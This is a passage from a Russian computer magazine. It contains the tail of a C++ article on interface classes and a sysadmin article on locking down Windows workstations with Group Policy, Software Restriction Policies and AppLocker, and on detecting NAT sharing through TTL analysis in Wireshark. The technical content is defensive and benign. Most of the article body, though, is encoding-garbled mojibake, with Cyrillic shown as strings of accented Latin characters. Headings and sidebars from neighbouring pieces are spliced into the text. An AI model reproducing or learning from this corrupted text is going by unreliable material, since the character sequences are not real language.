
};

Пользователи этого класса должны программировать в терминах ука-
зателей и ссылок на Person, потому что невозможно создать экземпляр 
класса, содержащего чисто виртуальные функции. Пользователям 
интерфейсных классов, как и пользователям классов-дескрипторов, 
нет нужды проводить перекомпиляцию до тех пор, пока не изменится 
интерфейс.
Пользователи интерфейсных классов обычно используют так называе-
мые функции-фабрики. Они возвращают указатели на динамически 
распределенные объекты, которые поддерживают интерфейс интер-
фейсного (ого, масло масляное) класса. Нередко подобные функции 
объявляют как статические внутри интерфейсного класса.
Оба метода предполагают снижение производительности программы, 
но зато мы получаем более гибкий и масштабируемый код, что в буду-
щем поможет избежать множества ошибок и проблем.

ÇÀÊËÞ×ÅÍÈÅ
Вот и все. Новая порция советов кодинга на C++ выдана. Засим я за-
канчиваю. 
Надеюсь, еще увидимся — ведь C++ полон тонкостей и сюрпризов, и 
хватит их надолго. z



SYN/ACK
  Мартин  «urban.prankster» Пранкевич  martin@synack.ru

XÀÊÅÐ  03  /134/  10 114  

В любой организации есть юзвери, которые пытаются использовать 
ресурсы Сети в своих целях. В результате, несмотря на установленные 
антивирусы и брандмауэры, клиентские системы начинают кишить ви-
русами, троянами, малварью и левыми программами, периодически 
вызывающими сбои в работе Windows. Да и начальство требует убрать 
лишнее с компов (игры, чаты, обучалки), контролировать использование 
трафика и установить запрет на подключение флешек. Естественно, хло-
поты по разруливанию ситуаций ложатся на плечи админа.

На коротком 
поводке

ГРУППОВЫЕ ПОЛИТИКИ Ãðóïïîâûå ïîëèòè-
êè (GPO) — óäîáíûé è ôóíêöèîíàëüíûé èíñ-
òðóìåíò, ïîçâîëÿþùèé óïðàâëÿòü íàñòðîé-
êàìè áåçîïàñíîñòè Windows. Ñ åãî ïîìîùüþ 
ìîæíî íàñòðîèòü äîñòàòî÷íî ìíîãî ïàðà-

ìåòðîâ ÎÑ. Ê ñîæàëåíèþ, áîëüøàÿ èõ ÷àñòü 
ñêóäíî îïèñàíà â ëèòåðàòóðå, è íà÷èíàþùèå 

àäìèíû ÷àñòî äàæå íå çíàþò î òîì, êàêîé 
ïîòåíöèàë ó íèõ â ðóêàõ. Ê òîìó æå, ãðóïïî-

âûå ïîëèòèêè ïîñòîÿííî ðàçâèâàþòñÿ, è â 
íîâûõ âåðñèÿõ ÎÑ (à òàêæå ñåðâèñ-ïàêàõ) GPO 

ïîëó÷àþò íîâûå ôóíêöèè. Óçíàòü ðàçëè÷èÿ è 
äîñòóïíûå ïàðàìåòðû äîâîëüíî ïðîñòî, —
  ñêà÷àé ñ ñàéòà Microsoft cïèñîê «Group Policy 
Settings Reference» äëÿ èñïîëüçóåìîé îïåðà-
öèîíêè.

Â Win2k8 óïðàâëåíèå GPO îñóùåñòâëÿ-
åòñÿ ïðè ïîìîùè êîíñîëè Group Policy 
Management Console (GPMC.msc) 2.0. Óñòà-

íîâêè áåçîïàñíîñòè ïðîèçâîäÿòñÿ â âåòêå 
«Êîíôèãóðàöèÿ êîìïüþòåðà — Êîíôèãóðà-
öèÿ Windows — Ïàðàìåòðû áåçîïàñíîñòè» 
(Computer Configuration — Windows Settings — 
Security Settings). Çäåñü äîâîëüíî ìíîãî 

íàñòðîåê, ïðè ïîìîùè êîòîðûõ ìîæíî îïðå-
äåëèòü ïîëèòèêè ïàðîëåé, çàäàòü áëîêèðîâêè 
ó÷åòíîé çàïèñè, íàçíà÷èòü ïðàâà äîñòóïà, 

óñòàíîâèòü ïîðÿäîê àóäèòà, ïîëèòèêè ðååñò-
ðà, ôàéëîâîé ñèñòåìû, NAP, IP-áåçîïàñíîñòè 
è ìíîãîå äðóãîå. Ðàçáåðåì ñàìûå èíòåðåñíûå 
èç íèõ.

Âûáèðàåì â êîíñîëè ãðóïïó ïîëèòèê «Íà-
çíà÷åíèå ïðàâ ïîëüçîâàòåëÿ». Ïîëèòèêà 
«Àðõèâàöèÿ ôàéëîâ è êàòàëîãîâ» ïîçâîëÿåò 
èãíîðèðîâàòü ðàçðåøåíèÿ ôàéëîâ ïðè îïåðà-
öèÿõ ðåçåðâíîãî êîïèðîâàíèÿ. Ñëåäóåò ÷åòêî 
îïðåäåëèòüñÿ, êòî áóäåò âõîäèòü â òàêóþ 
ãðóïïó, òàê êàê ïðàâà íà ñîçäàíèå ðåçåðâíûõ 
êîïèé, ïðåäîñòàâëåííûå êîìó ïîïàëî, ìîãóò 
ïðèâåñòè ê óòå÷êå êîðïîðàòèâíûõ äàííûõ. 
Ïîëèòèêà «Çàãðóçêà è âûãðóçêà äðàéâåðîâ 
óñòðîéñòâ» (Load and Unload Device) ïîçâîëÿ-
åò óñòàíàâëèâàòü äðàéâåðà ïîñëå íàñòðîéêè 
ñèñòåìû; çäåñü ëó÷øå îñòàâèòü â ñïèñêå òîëü-

êî àäìèíèñòðàòîðîâ, ÷òîáû ïîëüçîâàòåëè íå 
ìîãëè ñàìîñòîÿòåëüíî ïîäêëþ÷àòü ñòîðîííèå 
äåâàéñû. Ðàçðåøèâ «Îòëàäêó ïðîãðàìì», ìû 
ïðåäîñòàâèì ïîëüçîâàòåëþ âîçìîæíîñòü 
ïîäêëþ÷àòü îòëàä÷èê ê ëþáîìó ïðîöåññó èëè 

ÿäðó, à òû ñàì ïîíèìàåøü, êàêîé ýòî ðèñê. Ïî 
óìîë÷àíèþ ñþäà âõîäèò òîëüêî ãðóïïà àäìè-
íèñòðàòîðîâ, íî â îðãàíèçàöèÿõ, çàíèìàþ-

ùèõñÿ ðàçðàáîòêîé ÏÎ, õî÷åøü íå õî÷åøü, à 
òàêîå ïðàâî äàâàòü ïðèäåòñÿ. Ñîîòâåòñòâåí-
íî, íóæíî îòñëåæèâàòü ëåãèòèìíîñòü åãî 
ïðèìåíåíèÿ.
Îñîáîå âíèìàíèå óäåëè ïîëèòèêàì â ãðóïïå 

«Ïàðàìåòðû áåçîïàñíîñòè», ãäå ìíîãî 
ïîëåçíûõ ïóíêòîâ. Íàïðèìåð, ìû ìîæåì: 
îòêëþ÷èòü âîçìîæíîñòü àíîíèìíîãî äîñòóïà 

ê ñåòåâûì ðåñóðñàì, ïåðåèìåíîâàòü ó÷åòíóþ 
çàïèñü ãîñòÿ (åñëè òàêàÿ èñïîëüçóåòñÿ è 

íåîáõîäèìà). Â ïîëèòèêàõ, íà÷èíàþùèõñÿ ñ 
«Óñòðîéñòâà», îäíèì ùåë÷êîì ìûøêè ìîæíî 
çàáëîêèðîâàòü âîçìîæíîñòü ïîäêëþ÷åíèÿ è 
ôîðìàòèðîâàíèÿ ñìåííûõ óñòðîéñòâ, äèñêåò, 
êîìïàêò äèñêîâ è âíåøíèõ õàðäîâ. Âïåðâûå 
ïîëèòèêè áëîêèðîâêè ñìåííûõ óñòðîéñòâ 
ïîÿâèëèñü â Vista è Win2k8. Ðàíåå äëÿ ýòèõ 
öåëåé ïðèõîäèëîñü èñïîëüçîâàòü ïðîãðàììû 
ñòîðîííèõ ðàçðàáîò÷èêîâ âðîäå DeviceLock. 
Â ýòîé æå âêëàäêå ðàçðåøàåì èëè çàïðåùàåì 
ïîäêëþ÷åíèå ïðèíòåðà âûáðàííîé ãðóïïå 
ïîëüçîâàòåëåé.

ПОЛИТИКИ ОГРАНИЧЕННОГО ИСПОЛЬЗО-
ВАНИЯ ПРОГРАММ Îäíîé èç ñàìûõ âàæíûõ â 
êîíòåêñòå ñòàòüè áóäåò ãðóïïà îáúåêòîâ GPO 
«Ïîëèòèêè îãðàíè÷åííîãî èñïîëüçîâàíèÿ 

ïðîãðàìì» (Software Restriction Policies, SRP). 
Çäåñü íàñòðàèâàþòñÿ îãðàíè÷åíèÿ çàïóñêà 
ïðèëîæåíèé íà êîìïüþòåðàõ, íà÷èíàÿ ñ 

WinXP è âûøå. Ïðèíöèï íàñòðîåê ñîâïàäàåò ñ 
íàñòðîéêàìè ïðàâèë ôàéðâîëà: àäìèíèñòðà-
òîð óêàçûâàåò ñïèñîê ïðèëîæåíèé, êîòîðûå 
ðàçðåøåíî çàïóñêàòü íà ñèñòåìàõ îðãàíèçà-
öèè, à äëÿ îñòàëüíûõ ñòàâèò çàïðåò. Èëè ïîñ-

òóïàåò íàîáîðîò: ðàçðåøàåò âñå, à çàòåì ïî 
ìåðå íåîáõîäèìîñòè áëîêèðóåò, ÷òî íå íóæíî. 
Çäåñü êàæäûé àäìèí âûáèðàåò, êàê åìó óäîá-

íåå. Ðåêîìåíäóåòñÿ ñîçäàòü îòäåëüíûé îáúåêò 
GPO äëÿ SRP, ÷òîáû âñåãäà áûëà âîçìîæíîñòü 
îòêàòèòü èçìåíåíèÿ ïðè íåîáõîäèìîñòè èëè 

ОГРАНИЧИВАЕМ ПОЛЬЗОВАТЕЛЕЙ, ВЫСЛЕЖИВАЕМ 
НАРУШИТЕЛЕЙ И НАВОДИМ ПОРЯДОК В ЛОКАЛЬНОЙ СЕТИ



âîçíèêíîâåíèè ïðîáëåì ñ çàïóñêîì íóæíûõ ïðèëîæåíèé.
Ïî óìîë÷àíèþ SRP îòêëþ÷åíû. ×òîáû èõ àêòèâèðîâàòü, ñëåäóåò 
ïåðåéòè âî âêëàäêó «Ïîëèòèêè îãðàíè÷åííîãî èñïîëüçîâàíèÿ ïðî-
ãðàìì» (â «Êîíôèãóðàöèÿ êîìïüþòåðà» è «Êîíôèãóðàöèÿ ïîëüçî-
âàòåëÿ» åñòü ñâîè ïóíêòû) è âûáðàòü â êîíòåêñòíîì ìåíþ «Ñîçäàòü 
ïîëèòèêó îãðàíè÷åííîãî èñïîëüçîâàíèÿ ïðîãðàìì» (New Software 
Restriction Policies). Ïî óìîë÷àíèþ óñòàíîâëåí óðîâåíü áåçîïàñíîñòè 
«Íåîãðàíè÷åííûé» (Unrestricted), òî åñòü äîñòóï ïðîãðàìì ê ðåñóðñàì 
îïðåäåëÿåòñÿ NTFS ïðàâàìè ïîëüçîâàòåëÿ. Ðàçðåøåí çàïóñê ëþáûõ 
ïðèëîæåíèé, êðîìå óêàçàííûõ êàê çàïðåùåííûå. ×òîáû èçìå-
íèòü óðîâåíü, íóæíî ïåðåéòè â ïîäïàïêó «Óðîâíè áåçîïàñíîñòè», 
ãäå íàõîäÿòñÿ ïóíêòû àêòèâàöèè åùå äâóõ ïîëèòèê – «Çàïðåùåíî» 
(Disallowed), ïðè êîòîðîé âîçíèêàåò îòêàç â çàïóñêå ëþáûõ ïðèëîæå-

íèé, êðîìå ÿâíî ðàçðåøåííûõ àäìèíîì. À ïîëèòèêà «Îáû÷íûé ïîëü-
çîâàòåëü» (Basic User), ïîÿâèâøàÿñÿ â GPO, íà÷èíàÿ ñ Vista, ïîçâîëÿåò 

çàäàòü ïðîãðàììû, êîòîðûå áóäóò îáðàùàòüñÿ ê ðåñóðñàì ñ ïðàâàìè 
îáû÷íîãî ïîëüçîâàòåëÿ, âíå çàâèñèìîñòè îò òîãî, êòî èõ çàïóñòèë.

Â îðãàíèçàöèè ñ ïîâûøåííûìè òðåáîâàíèÿìè èíôîðìàöèîííîé áå-
çîïàñíîñòè ëó÷øå ñàìîìó îïðåäåëèòü ñïèñîê ðàçðåøåííûõ ïðîãðàìì, 

ïîýòîìó äâàæäû ùåëêàåì ïî «Çàïðåùåíî» è â ïîÿâèâøåìñÿ îêíå 
íàæèìàåì êíîïêó «Óñòàíîâèòü ïî óìîë÷àíèþ» (Set as Default). Èíôîð-
ìàöèÿ â ïîÿâèâøåìñÿ îêíå ñîîáùèò, ÷òî âûáðàííûé óðîâåíü — 
áîëåå ñòðîãèé, è íåêîòîðûå ïðîãðàììû ìîãóò íå ðàáîòàòü ïîñëå åãî 
àêòèâàöèè. Ïîäòâåðæäàåì èçìåíåíèÿ. Òåïåðü ïåðåõîäèì â ïîäïàïêó 

«Äîïîëíèòåëüíûå ïðàâèëà». Ïîñëå àêòèâàöèè SRP ñîçäàþòñÿ äâå ïî-
ëèòèêè, ïåðåêðûâàþùèå ïðàâèëà ïî óìîë÷àíèþ è îïèñûâàþùèå èñ-
êëþ÷åíèÿ äëÿ êàòàëîãîâ %SystemRoot% è %ProgramFilesDir%. Ïðè÷åì 

ïî óìîë÷àíèþ ïîëèòèêè äëÿ íèõ óñòàíîâëåíû â «Íåîãðàíè÷åííûé». 
Òî åñòü ïîñëå àêòèâàöèè ïîëèòèêè «Çàïðåùåíî» ñèñòåìíûå ïðîãðàì-
ìû áóäóò çàïóñêàòüñÿ â ëþáîì ñëó÷àå. Â êîíòåêñòíîì ìåíþ äëÿ òîíêîé 
íàñòðîéêè ïîëèòèê ïðåäëàãàåòñÿ 4 ïóíêòà. Ñ èõ ïîìîùüþ ìîæíî 
óêàçàòü: ïðàâèëî äëÿ ïóòè (ïóòü ê êàòàëîãó, ôàéëó èëè âåòêå ðååñòðà), 

çîíû ñåòè (èíòåðíåò, äîâåðåííàÿ ñåòü è òàê äàëåå), õåø (óêàçûâàåì îò-
äåëüíûé ôàéë, ïî êîòîðîìó ãåíåðèðóåòñÿ õåø, ïîçâîëÿþùèé îïðåäå-
ëèòü åãî îäíîçíà÷íî, âíå çàâèñèìîñòè îò ïóòè) è ñåðòèôèêàò èçäàòåëÿ 

(íàïðèìåð, Microsoft, Adobe è ò.ï.). Ïðè ýòîì îòäåëüíàÿ ïîëèòèêà èìå-
åò ñâîé óðîâåíü áåçîïàñíîñòè, è ëåãêî ìîæíî çàïðåòèòü âûïîëíåíèå 
âñåõ ôàéëîâ èç êàòàëîãà, ðàçðåøèâ çàïóñê òîëüêî îòäåëüíûõ. Ïðàâèëà 
äëÿ õåøà èìåþò ïðèîðèòåò ïåðåä îñòàëüíûìè è íàèáîëåå óíèâåðñàëü-

íû. Ïðàâäà, ñ ó÷åòîì òîãî, ÷òî õåø íåêîòîðûõ ñèñòåìíûõ ïðèëîæåíèé 
(òîãî æå Áëîêíîòà) áóäåò îòëè÷àòüñÿ â ðàçíûõ âåðñèÿõ ÎÑ, ê ïðîöåññó 
ãåíåðèðîâàíèÿ õåøà ëó÷øå ïîäîéòè âíèìàòåëüíî.
Åñëè ùåëêíóòü ïî ÿðëûêó «Ïîëèòèêè îãðàíè÷åííîãî èñïîëüçîâàíèÿ 
ïðîãðàìì», ïîëó÷èì äîñòóï åùå ê òðåì íàñòðîéêàì. Âûáîð ïîëèòèêè 
«Ïðèìåíåíèå» (Enforcement) îòêðîåò äèàëîãîâîå îêíî, â êîòîðîì 
óêàçûâàåì, ïðèìåíÿòü ëè SRP äëÿ âñåõ ôàéëîâ èëè èñêëþ÷èòü DLL 
(ïî óìîë÷àíèþ). Ó÷èòûâàÿ êîëè÷åñòâî DLL'îê â ñèñòåìå, àêòèâàöèÿ 
êîíòðîëÿ âñåõ ôàéëîâ ïîòðåáóåò äîïîëíèòåëüíûõ ðåñóðñîâ, ïîýòî-
ìó êàñòîìíûé âàðèàíò âûáèðàåì, òîëüêî êîãäà ýòî äåéñòâèòåëüíî 
íåîáõîäèìî. Ïî óìîë÷àíèþ ïîëèòèêè àêòóàëüíû äëÿ âñåõ ïîëüçîâà-
òåëåé áåç èñêëþ÷åíèÿ, íî â íàñòðîéêàõ ïðåäëàãàåòñÿ ñíÿòü êîíòðîëü 
çà äåÿòåëüíîñòüþ ëîêàëüíûõ àäìèíîâ. Â òðåòüåì ïîëå àêòèâèðóåòñÿ 
ïîääåðæêà ïðàâèë ñåðòèôèêàòîâ. Òàêèå ïîëèòèêè òàêæå çàìåäëÿþò 
ðàáîòó ñèñòåìû è ïî óìîë÷àíèþ îòêëþ÷åíû.
Ñ ïîìîùüþ ïîëèòèêè «Íàçíà÷åííûå òèïû ôàéëîâ» îïðåäåëÿþòñÿ 
òèïû ôàéëîâ, êîòîðûå ñ÷èòàþòñÿ èñïîëíÿåìûìè. Â ñïèñêå óæå åñòü 
âñå ïîïóëÿðíûå ðàñøèðåíèÿ, íî åñëè èñïîëüçóåòñÿ ÷òî-òî ñâîå, 
äîáàâëÿåì åãî/èõ â ïåðå÷åíü. È, íàêîíåö, â «Äîâåðåííûå èçäàòåëè» 
çàäàåì òåõ, êòî ìîæåò (ïîëüçîâàòåëü è/èëè àäìèí) äîáàâèòü ïîäïè-
ñàííîå äîâåðåííûì ñåðòèôèêàòîì ïðèëîæåíèå, à òàêæå îïðåäåëÿòü 

ïîäëèííîñòü ñåðòèôèêàòà. Äëÿ ìàêñèìàëüíîé áåçîïàñíîñòè ðàçðåøè 
äîáàâëÿòü ïðèëîæåíèÿ òîëüêî àäìèíàì äîìåííîãî óðîâíÿ.

APPLOCKER Çà íåñêîëüêî ëåò ñóùåñòâîâàíèÿ òåõíîëîãèÿ SRP òàê 

è íå ñìîãëà çàâîåâàòü ïîïóëÿðíîñòü, âåäü, êàê òû ìîã óáåäèòüñÿ èç 
ïðåäûäóùåãî ðàçäåëà, òî÷íî íàñòðîèòü ïîëèòèêè — íå òàêàÿ óæ è 
ïðîñòàÿ çàäà÷à. Ìàêñèìóì, íà ÷òî îáû÷íî õâàòàëî àäìèíà, — çàïðåò 
îòäåëüíûõ ïðîã è èãðóøåê. Â Win7/Win2k8R2 áûëî ïðåäñòàâëåíî 
ëîãè÷åñêîå ïðîäîëæåíèå SRP — AppLocker. Âïðî÷åì, ñàì SRP íèêóäà 

íå äåëñÿ, îñòàâëåí â öåëÿõ ñîâìåñòèìîñòè. Â îòëè÷èå îò SRP, Applocker 
ðàáîòàåò íå â ïîëüçîâàòåëüñêîì îêðóæåíèè, à â ñèñòåìíîì: óñòàíàâ-
ëèâàåìûå ïîëèòèêè áîëåå ýôôåêòèâíû.

Íàñòðîéêè AppLocker íàõîäÿòñÿ âî âêëàäêå Security Settings (secpol.
msc) — Application Ñontrol Policies. Åñëè ðàñêðûòü äåðåâî, òî óâèäèì 
òðè ïîäïóíêòà, â êîòîðûõ íàñòðàèâàþòñÿ ïîëèòèêè â ñîîòâåòñòâèè ñ 
òèïàìè ôàéëîâ:
• Executable Rules — ïðàâèëà äëÿ ôàéëîâ ñ ðàñøèðåíèåì exe, com è src;

• Windows Installer Rules — ïðàâèëà äëÿ msi è msp ôàéëîâ;
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Script Rules — ïðàâèëà äëÿ bat, cmd, js, ps1 è vbs ñêðèïòîâ.
Ïî óìîë÷àíèþ èñïîëüçóåòñÿ ïîëèòèêà Default, ðàáîòà 
êîòîðîé îñíîâûâàåòñÿ íà óñòàíîâêå GPO. Íî äëÿ êàæäîãî 
òèïà ïðàâèë ìîæíî âûáðàòü åùå îäíó èç äâóõ ïîëèòèê:
• Enforced — ïîëèòèêè àêòèâíû, è âñå, ÷òî íå îïèñàíî â 
ïðàâèëàõ, áëîêèðóåòñÿ;
• Audit Only — ðåæèì àóäèòà; âñå ñîáûòèÿ, äëÿ êîòîðûõ 
ñîçäàíû ïðàâèëà, âìåñòî áëîêèðîâêè çàíîñÿòñÿ â æóðíàë. 
Ïîëåçåí ïðè çíàêîìñòâå è ïåðâîíà÷àëüíîé îòëàäêå ðàáî-
òû AppLocker.
Äëÿ àêòèâàöèè íóæíîãî âàðèàíòà ïåðåõîäèì âî âêëàäêó 
«Enforcement» îêíà ñâîéñòâ AppLocker. Ïåðåéäÿ â 
«Advanced» è óñòàíîâèâ ôëàæîê «Enable DLL rule 
collection», ìîæíî àêòèâèðîâàòü ïðîâåðêó DLL. Êàê è 
â ñëó÷àå ñ SRP, ïðîâåðêà ïîòðåáóåò äîïîëíèòåëüíûõ 
ñèñòåìíûõ ðåñóðñîâ. Ïî óìîë÷àíèþ ïðàâèë íåò, ïîýòîìó 
îãðàíè÷åíèÿ íà çàïóñê ïðîãðàìì íå íàêëàäûâàþòñÿ (êðî-
ìå ïðàâ NTFS, åñòåñòâåííî), è â îòëè÷èå îò SRP, ðóëåñåòû 
íóæíî ñîçäàòü ñàìîìó. Ýòîò ïðîöåññ â AppLocker âûãëÿäèò 
íåñêîëüêî ïðîùå. Êîíòåêñòíîå ìåíþ ïðåäëàãàåò äëÿ ýòîãî 
òðè âàðèàíòà:
• Create New Rule — ïðè ïîìîùè âèçàðäà ñîçäàþòñÿ ïðàâè-
ëà äëÿ èçäàòåëÿ (Publisher), ïóòè (Path, êàòàëîã èëè ôàéë) 
è õåøà (File Hash);
• Automatically generate Rules — çäåñü ïðîñòî óêàçûâàåì 
íà êàòàëîã, â êîòîðîì íàõîäÿòñÿ óñòàíîâëåííûå ïðîãè, è 
ìàñòåð àâòîìàòè÷åñêè ñîçäàåò ïðàâèëà (Path/Hash) äëÿ 
âñåõ èñïîëíÿåìûõ ôàéëîâ âíóòðè;
• Create Default Rules — ñîçäàåòñÿ íàáîð ïðàâèë ïî óìîë-
÷àíèþ.

Ïðè âûáîðå ïîñëåäíåãî ïóíêòà áóäóò ñîçäàíû ðàç-
ðåøàþùèå ïðàâèëà äëÿ çàïóñêà ïðèëîæåíèé èç 
êàòàëîãîâ Windows (%WINDIR%) è Program Files 
(%PROGRAMFILES%); ïîëüçîâàòåëè, âõîäÿùèå â ãðóïïó 
ëîêàëüíûõ àäìèíèñòðàòîðîâ (BUILTIN\Administrator), 
îãðàíè÷åíèé ïî çàïóñêó íå èìåþò. Ïîñëå òîãî êàê ïåðâûå 
ïðàâèëà â êàòåãîðèè ñôîðìèðîâàíû è âûáðàí âàðèàíò 
Enforced, çàïóñê ïðèëîæåíèé âîçìîæåí òîëüêî â òîì 
ñëó÷àå, åñëè îí ðàçðåøåí ïîëèòèêîé. Â ïîñëåäóþùåì 
êîððåêòèðóåì èìåþùèåñÿ ïðàâèëà è ñîçäàåì íîâûå. 
×òîáû îòðåäàêòèðîâàòü ïðàâèëî, âûçûâàåì åãî ñâîéñòâà 
è ìåíÿåì: ó÷åòíûå çàïèñè è ãðóïïû, êîòîðûå ïîïàäàþò 
ïîä ïîëèòèêó, ïóòü ê êàòàëîãó èëè ôàéëó, äåéñòâèå (Action) 
áëîêèðîâàòü èëè ðàçðåøèòü. Èñïîëüçîâàíèå ó÷åòíûõ 
çàïèñåé è ãðóïï â ïðàâèëàõ AppLocker ãðóïïû äîñòàòî÷íî 
óäîáíî, òàê êàê ìîæíî ñîçäàòü ãðóïïó ïîëüçîâàòåëåé, 
êîòîðûì ðàçðåøåí çàïóñê îôèñíûõ ïðèëîæåíèé, ãðóïïó 
«èíòåðíåò÷èêîâ» è òàê äàëåå, è çàòåì âêëþ÷àòü â íèõ îòäå-
ëüíûõ ïîëüçîâàòåëåé.
Íàñòðîéêè âî âêëàäêå Exceptions ïîçâîëÿþò çàäàòü 
èñêëþ÷åíèÿ äëÿ îòäåëüíûõ îáúåêòîâ. Íàæàâ êíîïêó Add, 
óêàçûâàåì îòäåëüíûé ôàéë, õåø èëè èçäàòåëÿ, êîòîðûå íå 
áóäóò ïîäïàäàòü ïîä äåéñòâèå ðåäàêòèðóåìîé ïîëèòèêè. 
Òàê ìîæíî äîñòàòî÷íî òîíêî óêàçàòü ðàçðåøåíèÿ äëÿ áîëü-
øîãî êîëè÷åñòâà ôàéëîâ.
Äà, è êàê òû, íàâåðíîå, çàìåòèë, âîçìîæíîñòü íàñòðîéêè 
ïðàâèëà äëÿ çîíû ñåòè â AppLocker îòñóòñòâóåò.
Ïîñëå äîâîäêè Default Rules ïðèñòóïàåì ê ñîçäàíèþ 
èíäèâèäóàëüíûõ ïîëèòèê. Äëÿ ÷åãî âûáîðîì Create New 
Rule çàïóñêàåì ìàñòåð è â ïîøàãîâîì ðåæèìå ïðîèçâîäèì 
íóæíûå íàñòðîéêè. Ïåðâîå îêíî ïðîïóñêàåì, âî âòîðîì 
çàäàåì äåéñòâèå Allow/Deny è óêàçûâàåì ïîëüçîâàòåëÿ 
èëè ãðóïïó, äëÿ êîòîðûõ áóäåò äåéñòâîâàòü ïîëèòèêà. 
Äàëåå âûáèðàåì òèï ïîëèòèêè Publisher/Path/File Hash 
è, â çàâèñèìîñòè îò ïðîèçâåäåííîãî âûáîðà, îòìå÷àåì 

НАСТРАИВАЕМ ГРУППОВЫЕ ПОЛИТИКИ

ИЗМЕНЯЕМ УРОВЕНЬ БЕЗОПАСНОСТИ 
ПОЛИТИКИ ОГРАНИЧЕННОГО ИСПОЛЬЗО-
ВАНИЯ ПРОГРАММ

info
О том, как блокировать 
IM, Skype, P2P читай 
в статье «Серпом по 
аськам», в августовс-
ком номере z за 2009 
год.
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îáúåêò. Ïðè îïðåäåëåíèè ïóòè AppLocker èñïîëüçóåò 
ïåðåìåííûå. Òî åñòü, åñëè óêàçàòü â Ïðîâîäíèêå C:\
soft, ïóòü áóäåò ïðåîáðàçîâàí ê âèäó %OSDrive%\soft\*. 
Êðîìå òîãî, âîçìîæíû òàêèå ïåðåìåííûå: %WINDIR%, 
%SYSTEM32%, %PROGRAMFILES%, %REMOVABLE% (CD/
DVD) è %HOT% (USB-óñòðîéñòâà). Ïðè÷åì îñîáî îòìå-
÷àåòñÿ, ÷òî ýòî âíóòðåííèå ïåðåìåííûå AppLocker, à íå 
ñèñòåìíûå, õîòÿ íåêîòîðûå íàçâàíèÿ ñîâïàäàþò.
Ïîëèòèêè ñîçäàíû, íî ÷òîáû îíè ïðèìåíÿëèñü, íóæíî 
çàïóñòèòü ñëóæáó Application Identity (AppIDSvc). Äåëàåòñÿ 
ýòî ÷åðåç êîíñîëü Services (services.msc) èëè â ðåäàêòîðå 
ãðóïïîâûõ ïîëèòèê (Security Settings  System Services). 
Ïîñëå èçìåíåíèé îáíîâëÿåì ïîëèòèêè:

> gpupdate /force

Åùå îäèí ìåòîä êîíòðîëÿ çà óñòàíîâëåííûì ÏÎ è ïîä-
êëþ÷åííûìè äåâàéñàìè — èñïîëüçîâàíèå ñïåöèàëüíûõ 
ïðîãðàìì èíâåíòàðèçàöèè (íàïðèìåð, SCCM, î êîòî-

ðîì ãîâîðèëîñü â ñòàòüÿõ «Íà÷àëüíèê ñåòè» è «Îðóæèå 
ìàññîâîãî óïðàâëåíèÿ», îïóáëèêîâàííûõ ñîîòâåòñòâåííî 

â àâãóñòîâñêîì è ñåíòÿáðüñêîì íîìåðàõ z çà 2009 ãîä). 

Òàêæå íå çàáûâàåì î ñëóæáå «Óïðàâëåíèå ïðèëîæåíèÿìè» 
(AppMgmt), îòêëþ÷èâ êîòîðóþ, ìû áëîêèðóåì âîçìîæ-

íîñòü óñòàíîâêè ÏÎ.

БОРЬБА С NAT'ОМ Ñ «õàëÿâíûì» èíòåðíåòîì íà ðàáîòå ó 
ìíîãèõ ïîëüçîâàòåëåé ïîÿâëÿåòñÿ ñîáëàçí èñïîëüçîâàòü 
åãî â ñâîèõ öåëÿõ. Êîíå÷íî, âðåìåíà, êîãäà ê ñèñòåìíîìó 

áëîêó ïîäêëþ÷àëñÿ ìîäåì è ÷åðåç íåãî âûõîäèëè â èíòåð-
íåò, ïðàêòè÷åñêè êàíóëè â ëåòó (äëÿ íåêîòîðûõ ïðîâèí-
öèàëüíûõ ãîðîäîâ ýòî âñå åùå àêòóàëüíî), íî ìåíåäæåðû 

ïîðîé áåðóò ðàáîòó íà äîì, à äîñòóï ê íóæíîé èíôå 
ïûòàþòñÿ ïîëó÷èòü ïîñðåäñòâîì äèàëàïà. Åñëè æå îôèñ 
íàõîäèòñÿ â æèëîì äîìå, òî ñîòðóäíèêè-ýíòóçèàñòû ìîãóò 
ðàçâåðíóòü WiFi è ðàçäàâàòü ñîñåäÿì òðàôèê. Â ëþáîì ñëó-
÷àå õàëÿâà ïðèâëåêàåò ëþáèòåëåé, è îñòàåòñÿ óäèâëÿòüñÿ, 

êàê íàðîä íà âûäóìêè ãîðàçä. Êðîìå ñâîðîâàííîãî òðàôè-
êà, ïîëüçîâàòåëü ñòàâèò ïîä óäàð áåçîïàñíîñòü âñåé ñåòè, 
âåäü ÷åðåç òàêîé ÷åðíûé õîä çàïðîñòî ìîãóò ïðîíèêíóòü 

âèðóñû, òðîÿíöû è ïðî÷àÿ çàðàçà (+ ìîæåò áûòü ïîõèùå-
íà êîíôèäåíöèàëüíàÿ èíôîðìàöèÿ).
Ìåòîäîâ îáíàðóæåíèÿ ðàáîòû êëèåíòîâ èç-çà NAT 
ïðåäîñòàòî÷íî — êîíòðîëü TTL, àíàëèç èäåíòèôèêàòîðà 
IP-ïàêåòà è äèàïàçîíà TCP/UDP ïîðòîâ è òàê äàëåå (ïîä-

ðîáíåå î ìåòîäàõ îáíàðóæåíèÿ NAT ÷èòàé â ñòàòüå Êðèñà 

«Îõîòà íà ñåòåâûõ ïàðòèçàí» â z #111). Ìû æå ðàçáåðåì 
ïðàêòè÷åñêóþ ðåàëèçàöèþ. Èíñòðóìåíòîì íîìåð îäèí 
çäåñü ÿâëÿåòñÿ Wireshark (wireshark.org) — ìóëüòèïëàò-
ôîðìåííûé (Windows, Linux, xBSD, Solaris, Mac OS X è ò.ä.) 
ñíèôåð è àíàëèçàòîð â îäíîì ôëàêîíå. Âîçìîæíîñòü èñ-
ïîëüçîâàíèÿ ôèëüòðîâ è ñîðòèðîâêè äåëàåò ýòó ïðîãðàì-
ìó âåñüìà óäîáíîé äëÿ ðåøåíèÿ ìíîãèõ çàäà÷: êîíòðîëü 
îïðåäåëåííîãî òèïà òðàôèêà (àñüêà, ñåòåâûå èãðû, ïðîãè 
äëÿ óäàëåííîãî äîñòóïà è òàê äàëåå), ïîèñê ïðîáëåì â ñåòè 
è àíàëèç áåçîïàñíîñòè.
Äëÿ îïðåäåëåíèÿ ðàáîòû èç-çà NAT íàñ èíòåðåñóåò 
âîçìîæíîñòü êîíòðîëÿ TTL (âðåìÿ æèçíè) IP-ïàêåòà. 
Íóæíî ó÷èòûâàòü, ÷òî êàæäàÿ ÎÑ è âåðñèè èñïîëüçóþò 
ñâîå çíà÷åíèå TTL, íàïðèìåð, âñå âåðñèè Windows — 128, 
Linux — 64 (ìàêñèìàëüíî 255), à ïðè ïðîõîæäåíèè ïàêåòà 
